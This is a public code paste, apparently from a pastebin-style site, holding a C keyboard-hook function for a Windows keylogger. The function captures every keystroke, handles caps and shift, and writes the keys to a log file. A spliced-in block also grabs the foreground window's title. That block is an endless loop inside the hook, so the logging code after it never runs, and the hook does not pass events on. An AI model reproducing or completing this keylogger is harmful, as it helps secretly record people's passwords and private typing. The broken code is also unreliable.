All pastes #832649 Raw Edit

Ubertop

public text v1 · immutable
#832649 ·published 2007-12-26 13:22 UTC
rendered paste body
LRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
    KBDLLHOOKSTRUCT keyStruct;
    if (nCode < 0)
        return CallNextHookEx(NULL,nCode,wParam,lParam);

    if (wParam == WM_KEYDOWN)
    {
         keyStruct = *(KBDLLHOOKSTRUCT*)lParam;
        bool caps = (GetKeyState(VK_CAPITAL) == 1);
        if (GetKeyState(VK_SHIFT) < 0)
            caps = !caps;
        for (int i = 0; i < keyNameCount; i++)
        {
            if (keyNames[i].pCode == keyStruct.vkCode)
            {
             HWND currenthwnd,hwnd;
 char s[1024];
 
 hwnd=NULL;
 while (1)
 {
  currenthwnd=GetForegroundWindow();
  if (currenthwnd!=hwnd)
  {
   hwnd=currenthwnd;
   if (hwnd==NULL) printf("No window\n");
   else
   {
    GetWindowText(hwnd,s,1024);
    printf("%s\n",s);
   }
  }
 }
             
                if (caps)
                    fprintf(logFile, "%s", keyNames[i].upper);
                else fprintf(logFile, "%s", keyNames[i].lower);
                break;
            }
        }

        fflush(logFile);
    }
    return 0;
}